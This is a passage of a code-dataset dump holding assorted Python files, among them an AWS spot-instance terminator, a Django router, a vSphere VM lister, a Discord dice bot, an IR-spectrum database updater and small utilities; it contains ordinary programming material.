print(\"订单金额小于最低起购额度\")\n return\n\n return self.order_dao.insert_order(order)\n\n # 修改订单\n def update_order(self, order):\n if (not order.order_id) or order.order_id == \"\":\n print(\"订单编号不能为空\")\n return\n\n if order.products_num < 1:\n print(\"商品数量非法\")\n return\n\n if order.amt - 10.00 < 0.00001: # 订单金额小于10元\n print(\"订单金额小于最低起购额度\")\n return\n\n return self.order_dao.update_order(order)\n\n\n","sub_path":"gongfei/month02/Mysql/day05/orders_manage/order_manage.py","file_name":"order_manage.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"150214260","text":"from DRBosonProducer import ClientProducer\nimport pathlib\nimport collections\nimport history\nimport messages\nimport json\n\n\nclass DRBoson:\n def __init__(self, run=None, producer=ClientProducer()):\n self.run = run\n self.producer = producer\n self.history = history.History(run, self.producer)\n\n def log(self, log, step=None, commit=True):\n if not isinstance(log, collections.Mapping):\n raise ValueError(\"drboson: log must be a dictionary\")\n\n for key in log.keys():\n if not isinstance(key, str):\n raise KeyError('drboson: key values must be strings')\n\n self.history.add(log, step=step, commit=commit)\n\n def __prepare_message(self, message_type, payload):\n message = messages.make_communication_message(run_id=self.run.id,\n project_id=self.run.project_id,\n message_type=message_type,\n payload=payload)\n return json.dumps(message)\n\n def save(self, filename):\n\n try:\n file_path = pathlib.Path(filename)\n except TypeError as e:\n raise Exception('drboson: Something went wrong. Report this to DRBoson')\n\n if not file_path.exists():\n raise FileNotFoundError(f'drboson: File {file_path} does not exist')\n\n if file_path.is_file() is False:\n raise TypeError(f'drboson: {file_path} is not a file')\n\n if self.run.work_dir not in file_path.absolute().parents:\n raise PermissionError(f'drboson: {file_path} is not in the work directory')\n\n message = self.__prepare_message(message_type='file', payload=str(file_path.absolute()))\n self.producer.produce(message)\n\n def started(self):\n message = self.__prepare_message(message_type='status', payload='running')\n self.producer.produce(message)\n\n def completed(self):\n message = self.__prepare_message(message_type='status', payload='completed')\n self.producer.produce(message)\n\n def failed(self):\n message = self.__prepare_message(message_type='status', payload='failed')\n self.producer.produce(message)\n\n\nclass Run(object):\n def __init__(self, run_id=None, project_id=None, work_dir=None, dataset_location=None):\n self.id = run_id\n self.project_id = project_id\n self.work_dir = pathlib.Path(work_dir)\n self.dataset_location = pathlib.Path(dataset_location)\n\n if self.work_dir.is_dir() is False:\n raise NotADirectoryError('drboson: Work directory is supposed to be a directory')\n\n # if self.dataset_location.is_dir() is False:\n # raise NotADirectoryError('drboson: Data directory is supposed to be a directory')\n\n","sub_path":"drboson-lib/drboson/drboson.py","file_name":"drboson.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"140266197","text":"#!/usr/bin/env python3\nimport boto3\nimport os\nfrom datetime import datetime,timedelta,timezone\n\ndef sns_invoke(msg):\n sns = boto3.client('sns', region_name=awsRegion)\n response = sns.publish(\n TopicArn='arn:aws:sns:' + awsRegion + ':' + accountId + ':' + snsTopic,\n Message=msg,\n )\n\ndef terminate_instances(instance_list):\n eclient = boto3.client('ec2', region_name=awsRegion)\n waiter = eclient.get_waiter('instance_terminated')\n ec2 = boto3.resource('ec2', region_name=awsRegion)\n ec2.instances.filter(Filters=[{'Name': 'instance-id', 'Values': instance_list},{'Name': 'instance-lifecycle', 'Values': ['spot']}]).terminate()\n # waiter.wait(InstanceIds = instance_list)\n\n# Get all running spot instances with matching tagname that were launched atleast an hour ago.\ndef get_instance_details():\n print(instanceTagName)\n spot_instance_list = []\n ec2 = boto3.resource('ec2', region_name=awsRegion)\n\n instances = ec2.instances.filter(\n Filters=[\n {'Name': 'instance-state-name', 'Values': ['running']},\n {'Name': 'tag:Name', 'Values': instanceTagName},\n {'Name': 'instance-lifecycle', 'Values': ['spot']}\n ]\n )\n for instance in instances:\n if ((datetime.now(timezone.utc) - instance.launch_time).seconds/5400) > 0:\n spot_instance_list.append(instance.instance_id)\n return spot_instance_list\n\ndef get_metric_statistics(id,startTime,endTime):\n statistic_list = []\n client = boto3.client('cloudwatch', region_name=awsRegion)\n response = client.get_metric_statistics(\n Namespace='AWS/EC2',\n MetricName='CPUUtilization',\n Dimensions=[\n {\n 'Name': 'InstanceId',\n 'Value': id\n },\n ],\n StartTime=startTime,\n EndTime=endTime,\n Period=300,\n Statistics=['Average']\n )\n for data in response['Datapoints']:\n statistic_list.append(data)\n return statistic_list\n\n\ndef threshold_check(stats_list,cpuThreshold):\n for stat in stats_list:\n if stat['Average'] > cpuThreshold:\n return False\n return True\n\n\n# Vars Decalaration/Initialization\nstartTime=(datetime.utcnow() - timedelta(hours=1)).isoformat()\nendTime=datetime.utcnow().isoformat()\nawsRegion=os.environ['AWS_REGION']\naccountId=os.environ['ACCOUNT_ID']\nsnsTopic=os.environ['SNS_TOPIC']\ninstanceTagName=[i for i in os.environ['INSTANCE_TAG_NAME'].split(\" \")]\ncpuThreshold=int(os.environ['CPU_THRESHOLD'])\n\n\ndef lambda_handler(event, context):\n instance_to_terminate = []\n for instance in get_instance_details():\n # print(instance)\n stats_list = get_metric_statistics(instance,startTime,endTime)\n if threshold_check(stats_list,cpuThreshold):\n instance_to_terminate.append(instance)\n\n print('Total spot instances for ' + str(instanceTagName) + ' is ' + str(len(get_instance_details())))\n if len(instance_to_terminate) > 0:\n print('These instances will be terminated ' + str(instance_to_terminate))\n terminate_instances(instance_to_terminate)\n sns_invoke('These instances are terminated' + str(instance_to_terminate))\n else:\n print('Nothing to terminate right now.')\n","sub_path":"spot_terminator.py","file_name":"spot_terminator.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"298450690","text":"from django.conf.urls import url\nfrom .views import IndexView,DetailView,CategoryView,TagView,ArchiveView,MySearchView\nurlpatterns=[\n\turl(r'^$',IndexView.as_view(),name='index'),#主页\n\turl(r'^hot/$', IndexView.as_view(), {'sort': 'v'}, name='index_hot'),\n\turl(r'^article/(?P[\\w-]+)/$',DetailView.as_view(),name='detail'),#文章详情\n\turl(r'^category/(?P[\\w-]+)/$', CategoryView.as_view(), name='category'),\n\turl(r'^category/(?P[\\w-]+)/hot/$', CategoryView.as_view(), {'sort': 'v'},\n name='category_hot'),\n\turl(r'^tag/(?P[\\w-]+)/$', TagView.as_view(), name='tag'),\n\turl(r'^tag/(?P[\\w-]+)/hot/$', TagView.as_view(), {'sort': 'v'}, name='tag_hot'),\n\turl(r'archive/$', ArchiveView.as_view(), name='archive'), # 归档页面\n\turl(r'^search/$', MySearchView.as_view(), name='search_view'), # 全文搜\n]","sub_path":"apps/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"599520374","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2017-12-21 10:13\n---------\n@summary:\n---------\n@author: Boris\n'''\n\n\nimport base.base_parser as base_parser\nimport utils.tools as tools\nfrom utils.log import log\n\nSITE_ID = 1712200006\nNAME = '腾讯'\n\n\n# 必须定义 添加网站信息\n@tools.run_safe_model(__name__)\ndef add_site_info():\n log.debug('添加网站信息')\n\n table = 'VIDEO_NEWS_site_info'\n url = 'https://v.qq.com'\n\n base_parser.add_website_info(table, site_id=SITE_ID, url=url, name=NAME)\n\n\n# 必须定义 添加根url\n@tools.run_safe_model(__name__)\ndef add_root_url(keywords):\n log.debug('''\n 添加根url\n parser_params : %s\n ''' % str(keywords))\n for keyword in keywords:\n next_keyword = False\n for page_index in range(1, 10):\n keyword = tools.quote(keyword)\n url = 'https://v.qq.com/x/search/?q=%s&filter=sort=1&&cur=%s' % (keyword, page_index)\n html, res = tools.get_html_by_requests(url)\n video_list_title = tools.get_tag(html, 'div', {'class': 'result_item'})\n if not video_list_title:\n break\n for info_index, video_info in enumerate(video_list_title):\n try:\n image_url = tools.get_tag(video_info, 'img', find_all=False)['src']\n image_url = 'http:' + image_url\n title = tools.get_tag(video_info, 'h2', find_all=False).get_text()\n url = tools.get_tag(video_info, 'h2', find_all=False).a['href']\n release_time = tools.get_tag(video_info, 'span', {'class': 'content'}, find_all=False).get_text()\n except:\n continue\n current_date = tools.get_current_date('%Y-%m-%d')\n if current_date > release_time:\n next_keyword = True\n break\n base_parser.save_video_info(image_url=image_url, url=url, title=title, release_time=release_time,\n site_name=NAME)\n if next_keyword:\n break\n\n\n# 必须定义 解析网址\ndef parser(url_info):\n pass\n","sub_path":"parsers/tencent.py","file_name":"tencent.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"356582697","text":"# -*- coding: utf-8 -*- \nimport urllib2\nimport json \nimport ConfigParser\nfrom urllib import quote\nfrom Common import Common\nimport dbHandler\nimport os\nCONFIGPARSER = ConfigParser.ConfigParser()\ndef getLocationInfo(address):\n CONFIGPARSER.read(os.path.join(os.path.dirname(__file__), '..', Common.ConfigFolder, 'config.ini'))\n print(\"\\n\\n\\n aaaaa\" + address.encode(\"UTF-8\") )\n returnContent = urllib2.urlopen(\"https://maps.googleapis.com/maps/api/geocode/json?address=\"+address.encode(\"UTF-8\") + \"&key=\"+CONFIGPARSER.get(\"DEFAULT\", \"apikey\")).read().decode('utf8')\n result = json.loads(returnContent)\n \n print(result['results'])\n if len( result['results']) > 0 :\n location = ''\n address = ''\n for possibleLocation in result['results']:\n location = possibleLocation['geometry']['location']\n address = possibleLocation['formatted_address']\n break\n return location,address\n return None,None\n\n\n\ndef getExistLocationToDict():\n locationList = dbHandler.getDBLocation()\n existLocationDict = {}\n if locationList is not None:\n for location in locationList:\n locationToDict(existLocationDict,{},location.name,location.address,{'lat':location.lat,'lng':location.lng})\n return existLocationDict\n\ndef locationToDict(newLocationDict,existLocationDict,location,address,coordinate):\n if location is not None and location.encode('UTF-8') not in existLocationDict:\n newLocationDict[location.encode('UTF-8')] = {'address':address ,'lat':coordinate['lat'],'lng':coordinate['lng'] }\n return newLocationDict\n\n","sub_path":"apiHandler/googleMapLocation.py","file_name":"googleMapLocation.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"633705874","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name='MoNeT_MGDrivE',\n version='0.5.6.7.5',\n url='https://github.com/Chipdelmal/MoNeT_MGDrivE',\n author='Hector M. Sanchez C.',\n author_email='sanchez.hmsc@berkeley.edu',\n description=\"MoNeT python package for MGDrivE data analysis\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages=setuptools.find_packages(),\n install_requires=[\n 'numpy', 'scipy', 'matplotlib', 'ipython',\n 'jupyter', 'pandas', 'sympy'\n ],\n license='MIT',\n classifiers=[\n \"Programming Language :: Python :: 3.6\",\n \"Operating System :: OS Independent\",\n ]\n )\n","sub_path":"pypi_install_script/MoNeT_MGDrivE-0.5.6.7.5.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"30424315","text":"#!/usr/bin/env python\n\"\"\"\nSimple command-line program for listing the virtual machines on a host.\n\nUsage:\n\nfrom tasks.vsphereAPI.get_vm_names import get_vm_names\n\nvm_name_lists = get_vm_names(host='192.168.103.88', usr='root', pwd='Testesx123!')\n\n@author: leo li\n\"\"\"\nfrom __future__ import print_function\n\nimport atexit\nfrom pyVim.connect import SmartConnectNoSSL, Disconnect\nfrom pyVmomi import vim\n\n\nMAX_DEPTH = 10\n\n\ndef get_vm_names(host=None, usr=None, pwd=None, port=443):\n \"\"\"\n Simple command-line program for listing the virtual machines on a host.\n \"\"\"\n\n si = None\n try:\n si = SmartConnectNoSSL(host=host,\n user=usr,\n pwd=pwd,\n port=int(port))\n atexit.register(Disconnect, si)\n except vim.fault.InvalidLogin:\n raise SystemExit(\"Unable to connect to host \"\n \"with supplied credentials.\")\n\n vm_name_list = []\n content = si.RetrieveContent()\n for child in content.rootFolder.childEntity:\n if hasattr(child, 'vmFolder'):\n datacenter = child\n vmfolder = datacenter.vmFolder\n vmlist = vmfolder.childEntity\n for vm in vmlist:\n vm_name_list.append(vm.name)\n\n print (\"\\n\".join(vm_name_list))\n print (len(vm_name_list))\n\n return vm_name_list\n\n\ndef get_vminfo(vm, depth=1):\n \"\"\"\n Print information for a particular virtual machine or recurse into a folder\n with depth protection\n \"\"\"\n\n # if this is a group it will have children. if it does, recurse into them\n # and then return\n if hasattr(vm, 'childEntity'):\n if depth > MAX_DEPTH:\n return\n vmlist = vm.childEntity\n for child in vmlist:\n get_vminfo(child, depth+1)\n return\n\n vm_name = vm.summary.config.name\n return vm_name\n\n# Start program\nif __name__ == \"__main__\":\n get_vm_names(host=\"10.62.81.245\", usr=\"root\", pwd=\"Passw0rd!\")\n","sub_path":"VxRailManager/tasks/vsphereAPI/GetVMDetails.py","file_name":"GetVMDetails.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"247217535","text":"from redis import Redis\n##STRUMIENIE##\n\n##Bardziej ustrukturyzowana metoda przekazywania danych niż kanała pub-sub##\nredis_connection = Redis(decode_responses=True, db=0)\n#Nazwa strumienia\nstream_name ='testowy_strumien'\n#Dodanie do strumienia słownika\nredis_connection.xadd(stream_name,{'testowy_klucz': 'testowa_wartosc'})\n#Odczytanie wartości strumienia o podaną ilość \"count\"\nmessage = redis_connection.xread({stream_name: '0-0'}, block=None, count=1)\n#Wypisanie wiadomości, każdy element ma swój identyfiaktor(13liczb-1liczba(milisekundy,numer sekwencji))\nprint(message)","sub_path":"labki7/Redis/task5.py","file_name":"task5.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"391842091","text":"\"\"\"\nProgram: IRSpectrum.py\nProgrammed by: Josh Ellis, Josh Hollingsworth, Aaron Kruger, Alex Matthews, and\n Joseph Sneddon\nDescription: This program will recieve an IR Spectrograph of an unknown\n molecule and use our algorithm to compare that graph to a stored database of\n known molecules and their IR Spectrographs. This program will then return a\n list of the closest Spectrographs matches as determined by our algorithm.\nUpdateDB.py: This part of the program imports all pdf files from */IR_samples\n and updates the database (IR.db) with each new compound found.\n\"\"\"\n#---------------------------------Imports--------------------------------------\nimport sys\nimport sqlite3\nimport os\nfrom PIL import Image\nfrom shutil import copyfile\nimport multiprocessing as mp\nimport time\nfrom IR_Functions import *\n#------------------------------------------------------------------------------\n\n#---------------------------------Classes/Functions----------------------------\ndef initializeDB():\n #If IR.db somehow gets deleted then re-create it.\n if not os.path.exists(\"IR.db\"):\n file = open('IR.db', 'w+')\n file.close()\n\n sqlData = \"CREATE TABLE IF NOT EXISTS `IR_Data` ( `CAS_Num` TEXT, `Type` \\\n TEXT, `Wavelength` NUMERIC, `Value` NUMERIC )\"\n sqlInfo = \"CREATE TABLE IF NOT EXISTS `IR_Info` ( `Spectrum_ID` TEXT, \\\n `CAS_Num` TEXT, `Formula` TEXT, `Compound_Name` TEXT, \\\n PRIMARY KEY(`Spectrum_ID`) )\"\n\n myIRDB = IRDB()\n myIRDB.writeIRDB(sqlData)\n myIRDB.writeIRDB(sqlInfo)\n myIRDB.commitIRDB()\n\ndef tryWork(Jobs,comparisonTypes):\n try:\n file = Jobs.get()\n\n \"\"\" Open the source image \"\"\"\n images = PullImages(file)\n\n fname = file.split(\"\\\\\")[-1]\n casNum = fname.split(\".\")[0]\n\n \"\"\" is this file already in the database? \"\"\"\n myIRDB = IRDB()\n sqlQ = \"SELECT CAS_Num FROM IR_Info WHERE CAS_Num='\"+casNum+\"'\"\n sqlData = \"SELECT CAS_Num FROM IR_Data WHERE CAS_Num='\"+casNum+\"'\"\n sqlInfo = \"INSERT INTO IR_Info(Spectrum_ID, CAS_Num, Formula, \\\n Compound_Name) VALUES (?, ?, ?, ?)\"\n\n myIRDB.writeIRDB(sqlQ)\n myIRDB.writeIRDB(sqlData)\n qData = myIRDB.fetchallIRDB()\n\n \"\"\" if not in the database set the flag to add it \"\"\"\n if len(qData)==0:\n\n copyfile(images[0],\"public\\\\images\\\\\"+casNum+\".jpg\")\n\n structure=PullStructure(file)[0]\n CleanStructure(structure)\n copyfile(structure,\"public\\\\info\\\\\"+structure.split(\"\\\\\")[-1])\n os.remove(structure)\n\n values=PullText(file)\n #Save compound data into the database\n dbvalues = (list(values.values())[0], casNum,\n list(values.values())[2], list(values.values())[3])\n\n myIRDB.writeIRDB(sqlInfo, dbvalues)\n myIRDB.commitIRDB()\n\n f=open(\"public\\\\info\\\\\"+casNum+\".json\",'w')\n f.write(str(values).replace(\"'\",'\"'))\n f.close()\n else:\n os.remove(images[0])\n return casNum+\" already in DB\"\n\n data = ReadGraph(images[0]) #ReadGraph() from IR_Functions.py\n os.remove(images[0])\n\n #calculate each transformation\n comparisonDict={}\n for cType in comparisonTypes:\n comparisonDict[cType]=Convert(data,cType)\n\n sqlQ = \"INSERT INTO IR_Data(CAS_Num, Type, Wavelength, Value) \\\n VALUES (?, ?, ?, ?)\"\n #save each transformation to file\n for cType in comparisonDict:\n d=[]\n for row in comparisonDict[cType]:\n d+=[str(row[0])+','+str(row[1])]\n dbvalues = (casNum, cType, row[0], row[1])\n myIRDB.writeIRDB(sqlQ, dbvalues)\n #save data\n\n myIRDB.commitIRDB()\n return casNum+\" added to DB\"\n\n except Exception as e:\n print('\\nERROR!:')\n exc_type, exc_obj, exc_tb = sys.exc_info()\n print('%s' % e)\n print(\"\\n\"+str(exc_tb.tb_lineno)+\" \"+str(exc_obj)+\" \"+str(exc_tb),\"\\n\")\n return False\n#------------------------------------------------------------------------------\n\n#----------------------------Multiprocessing functions-------------------------\ndef worker(Jobs,workerNo,NofWorkers,JobsDoneQ,NofJobs,comparisonTypes):\n working=True\n while working:\n message=tryWork(Jobs,comparisonTypes)\n if message:\n jobNo=JobsDoneQ.get()\n print(\"[Worker No. \"+str(workerNo)+\"] \"+str(jobNo)+\" of \"\n +str(NofJobs)+\" \"+message)\n if NofJobs-jobNo <= NofWorkers-1:\n working = False\n else:\n working=False\n\ndef multiProcessUpdater(comparisonTypes):\n filedir=[os.path.join(\"IR_samples\",file) for file in\n os.listdir(\"IR_samples\") if file.endswith(\".pdf\")]\n\n Jobs=mp.Queue()\n JobsDoneQ=mp.Queue()\n for i in range(len(filedir)):\n Jobs.put(filedir[i])\n JobsDoneQ.put(i+1)\n\n CORES = min(mp.cpu_count(),len(filedir))\n p={}\n print(\"Starting\")\n start=time.time()\n for core in range(CORES):\n p[core] = mp.Process(target = worker, args=[Jobs,core,CORES,JobsDoneQ,len(filedir),\n comparisonTypes])\n p[core].start()\n for core in range(CORES):\n p[core].join()\n print(\"Done and Done \"+str(time.time()-start))\n#------------------------------------------------------------------------------\n\n#---------------------------------Program Main---------------------------------\ndef main():\n\n comparisonTypes=ReadComparisonKeys()\n\n #Edits comparisonTypes to include only a single raw\n #comparisons with the raw argument will be calculated in the future.\n raws=[]\n for icomp in range(len(comparisonTypes)-1,-1,-1):\n if 'raw' in comparisonTypes[icomp]:\n raws+=[comparisonTypes.pop(icomp)]\n if len(raws)>0:\n comparisonTypes+=['raw']\n\n initializeDB()\n\n multiProcessUpdater(comparisonTypes)\n\nif __name__ == \"__main__\":\n main()\n#---------------------------------End of Program-------------------------------\n","sub_path":"UpdateDB.py","file_name":"UpdateDB.py","file_ext":"py","file_size_in_byte":6210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"75894941","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThe :mod:`utils` module includes various utilities.\n\"\"\"\nimport math\nimport numpy as np\n\n__author__ = \"Min\"\n\n\ndef matthews_corrcoef(c_matrix):\n \"\"\"\n 多分类问题MCC计算\n MCC = cov(X, Y) / sqrt(cov(X, X)*cov(Y, Y))\n Ref: http://scikit-learn.org/stable/modules/model_evaluation.html\n https://en.wikipedia.org/wiki/Matthews_correlation_coefficient\n t_k=\\sum_{i}^{K} C_{ik} the number of times class K truly occurred\n p_k=\\sum_{i}^{K} C_{ki} the number of times class K was predicted\n c=\\sum_{k}^{K} C_{kk} the total number of samples correctly predicted\n s=\\sum_{i}^{K} \\sum_{j}^{K} C_{ij} the total number of samples\n 参数\n ----\n c_matrix: 混淆矩阵 array, shape = [n_classes, n_classes]\n 返回\n ----\n mcc: Matthews correlation coefficient, float\n \"\"\"\n # 先获取分类数\n cm_classes = c_matrix.shape[0]\n # 初始化变量\n t_k = np.zeros(cm_classes)\n p_k = np.zeros(cm_classes)\n c = 0\n s = c_matrix.sum()\n for i in range(cm_classes):\n # 计算相关变量值\n c += c_matrix[i, i]\n t_k[i] = c_matrix[i, :].sum()\n p_k[i] = c_matrix[:, i].sum()\n\n sum_tk_dot_pk = np.array([t_k[i] * p_k[i]\n for i in range(cm_classes)]).sum()\n sum_power_tk = np.array([t_k[i]**2 for i in range(cm_classes)]).sum()\n sum_power_pk = np.array([p_k[i]**2 for i in range(cm_classes)]).sum()\n # 计算 MCC\n mcc = (c * s - sum_tk_dot_pk) / \\\n math.sqrt((s**2 - sum_power_pk) * (s**2 - sum_power_tk))\n\n # 返回 MCC\n return mcc\n # return mcc, t_k, p_k\n\n\ndef get_timestamp(fmt='%y%m%d_%H%M'):\n '''Returns a string that contains the current date and time.\n\n Suggested formats:\n short_format=%y%m%d_%H%M (default)\n long format=%Y%m%d_%H%M%S\n '''\n import datetime\n now = datetime.datetime.now()\n return datetime.datetime.strftime(now, fmt)\n","sub_path":"snn/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"367547858","text":"import discord\nfrom discord.ext import commands\nimport roller\n\ndescription = \"A test bot\"\n\nclient = commands.Bot(command_prefix='!', description=description)\n\n#-------------------------------------------------------------------------------\n#\n# Settings loader\n#\n#-------------------------------------------------------------------------------\n# Loads the settings from the settings.txt file and loads them in the settings\n# dictionary.\n#-------------------------------------------------------------------------------\n\nsettings = {}\nwith open('settings.txt','r') as f:\n for line in f:\n if line[len(line)-1] == \"\\n\":\n line = line[:-1]\n splitLine = line.split(\"|\")\n settings[splitLine[0]] = \",\".join(splitLine[1:])\n\n#-------------------------------------------------------------------------------\n\n@client.command()\nasync def add(left : int, right : int):\n \"\"\"Adds two numbers together.\"\"\"\n await client.say(left + right)\n\n@client.command()\nasync def info():\n message = \"I am a small bot that rolls, more functionality comming soon!\"\n await client.say(message)\n\n@client.command()\nasync def roll(text : str):\n messageToSend = \"\"\n diceNumbers = roller.getRolledNumbers(text.upper(), False)\n results = roller.roll(diceNumbers[0], diceNumbers[1], diceNumbers[2])\n\n for rollNum in results:\n if(diceNumbers[3] == 0):\n messageToSend = (messageToSend + \n \"(\"+str(diceNumbers[1])+\n \"d\"+str(diceNumbers[2])+\") [\"+\n str(rollNum)+\"] : {\"+\n str(rollNum+diceNumbers[3])+\"} \\n\")\n else:\n messageToSend = (messageToSend + \"(\"+\n str(diceNumbers[1])+\"d\"+\n str(diceNumbers[2])+\"+\"+\n str(diceNumbers[3])+\") [\"+\n str(rollNum)+\"+\"+\n str(diceNumbers[3])+\n \"] : {\"+\n str(rollNum+diceNumbers[3])+\"} \\n\")\n await client.say(messageToSend)\n\n@client.command()\nasync def fuck(stex: str):\n await client.say(\"Of course I'll fuck \" + stex)\n\n@client.command()\nasync def fuckme():\n await client.say(\"With pleasure (◕‿◕✿)\")\n\n@client.event\nasync def on_ready():\n print('Logged in as')\n print(client.user.name)\n print(client.user.id)\n print('------')\n\nclient.run(settings[\"Token\"])","sub_path":"discord-bot.py","file_name":"discord-bot.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"534624424","text":"from flask import Flask\nfrom home_controller import *\n\n#API para receber comando das IA\napp = Flask(__name__)\n\n@app.route('/acende_casa/', methods=[\"PUT\"])\ndef acende(comodo):\n string = 'IA acendeu o comodo %s' %(comodo)\n print(string)\n acende_apaga(comodo, 1, False)\n \n@app.route('/apaga_casa/', methods=[\"PUT\"])\ndef apaga(comodo):\n string = 'IA apagou o comodo %s' %(comodo)\n print(string)\n acende_apaga(comodo, 0, False)\n \nif __name__ == '__main__':\n app.run(debug = False, host = '0.0.0.0')","sub_path":"thinkAPI/APIRaspberry/api_learningpy.py","file_name":"api_learningpy.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"475348934","text":"from setuptools import setup\n\nwith open('requirements.txt') as f:\n requirements = f.read().splitlines()\n\nsetup(\n name='jxl',\n version='1.0.0',\n packages=['client', 'client.auth', 'client.home', 'client.errors', 'services'],\n url='',\n license='MIT',\n author='Alex Gagnon',\n author_email='',\n description='Exports project issues filtered by versions to an Excel spreadsheet.',\n install_requires=requirements,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"428687259","text":"def substringk(s, k):\n '''\n Given a string s and an int k, return all unique substrings of s of size k with k distinct characters.\n \n sliding window\n '''\n\n if len(s) == 0 or len(s) < k or k == 0:\n return []\n\n\n ans = set()\n letter = {}\n\n start = 0 # start index of the window\n for i,c in enumerate(s):\n if c in letter and letter[c] >= start:\n start = letter[c] + 1 # update the start position\n \n letter[c] = i # record the position\n if i - start + 1 == k:\n ans.add(s[start:i+1])\n start += 1 \n\n return ans \n\n# s = \"awaglknagawunagwkwagl\"; k = 4\n# print(substringk(s,k))\n\ndef MaxMinAltitudes(matrix):\n '''\n Given a matrix with r rows and c columns, \n find the maximum score of a path starting at [0, 0] and ending at [r-1, c-1]. \n The score of a path is the minimum value in that path. \n For example, the score of the path 8 → 4 → 5 → 9 is 4.\n\n '''\n\n if len(matrix) == 0:\n return -1\n \n M,N = len(matrix), len(matrix[0])\n\n # dp[i][j] = max score at i j, where score is the minimum on the path\n dp = [[-float('inf')] * (N+1) for _ in range(M+1)] # to account for boundaries\n\n dp[1][1] = matrix[0][0]\n dp[1][2] = matrix[0][1]\n dp[2][1] = matrix[1][0]\n\n for i in range(1,M+1):\n for j in range(1,N+1):\n if (i == 2 and j == 1) or \\\n (i == 1 and j == 2) or \\\n (i == 1 and j == 1) or \\\n (i == M and j == N):\n continue \n score1 = min(matrix[i-1][j-1], dp[i-1][j]) # up\n score2 = min(matrix[i-1][j-1], dp[i][j-1]) # left \n dp[i][j] = max(score1, score2)\n \n return max(dp[M-1][N], dp[M][N-1])\n \n# matrix = [[1, 2, 3],[4, 5, 1]]\n# print(MaxMinAltitudes(matrix)) \n \n\ndef shortestRouteToTreasury(matrix):\n '''\n You have a map that marks the location of a treasure island. \n Some of the map area has jagged rocks and dangerous reefs. \n Other areas are safe to sail in. There are other explorers trying to find the treasure. \n So you must figure out a shortest route to the treasure island.\n\n Assume the map area is a two dimensional grid, represented by a matrix of characters.\n You must start from the top-left corner of the map and can move one block up, down, left or right at a time. The treasure island is marked as X in a block of the matrix. X will not be at the top-left corner. Any block with dangerous rocks or reefs will be marked as D. You must not enter dangerous blocks. You cannot leave the map area. Other areas O are safe to sail in. The top-left corner is always safe. \n Output the minimum number of steps to get to the treasure.\n '''\n\n if len(matrix) == 0 or len(matrix[0]) == 0: \n return -1\n\n M,N = len(matrix),len(matrix[0])\n # bfs\n q = [(0,0)] # (y,x)\n ans = 0\n\n while q:\n print(q)\n tempQ = []\n for y,x in q:\n for dy, dx in [[0,1],[1,0],[-1,0],[0,-1]]:\n if 0<=y+dy0:\n cmd2 = \"xrdcp {0} {1}/{0}\".format(pickle_name, args.dir)\n if args.verbose: print(cmd2)\n os.system(cmd2)\n","sub_path":"test/picklePileupInput.py","file_name":"picklePileupInput.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"516800416","text":"from time import time, sleep\nfrom subprocess import check_output, call, STDOUT\nimport logging\n\nformatter = logging.Formatter('[%(asctime)s - %(levelname)8s] %(message)s')\nfilename='pppoe_test.log'\n\nconsole = logging.StreamHandler()\nconsole.setFormatter(formatter)\nconsole.setLevel(logging.INFO)\nlogfile = logging.FileHandler(filename)\nlogfile.setFormatter(formatter)\nlogfile.setLevel(logging.DEBUG)\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(console)\nlogger.addHandler(logfile)\n\n\nPPPOE_TEST_LOOPS = 10\nLOOP_WAIT_SECONDS = 2\n\nDILD_COMMAND = 'ping -c 1 -t 2 www.cisco.com'\nDISCONNECT_COMMAND = 'ls'\nSUCCESS_STRING = 'min/avg/max/stddev'\n\nfor i in range(PPPOE_TEST_LOOPS):\n start = time()\n logger.debug('Start %d dial tries' % (i+1) )\n output = check_output('%s; exit 0'%DILD_COMMAND, stderr=STDOUT, shell=True)\n if SUCCESS_STRING in output:\n logger.debug(output.splitlines()[-1])\n logger.info('Spend %3f seconds for %d dial' % (time()-start, i+1))\n output = check_output(DISCONNECT_COMMAND.split())\n else:\n logger.warn('Dial failed')\n if i < PPPOE_TEST_LOOPS-1:\n 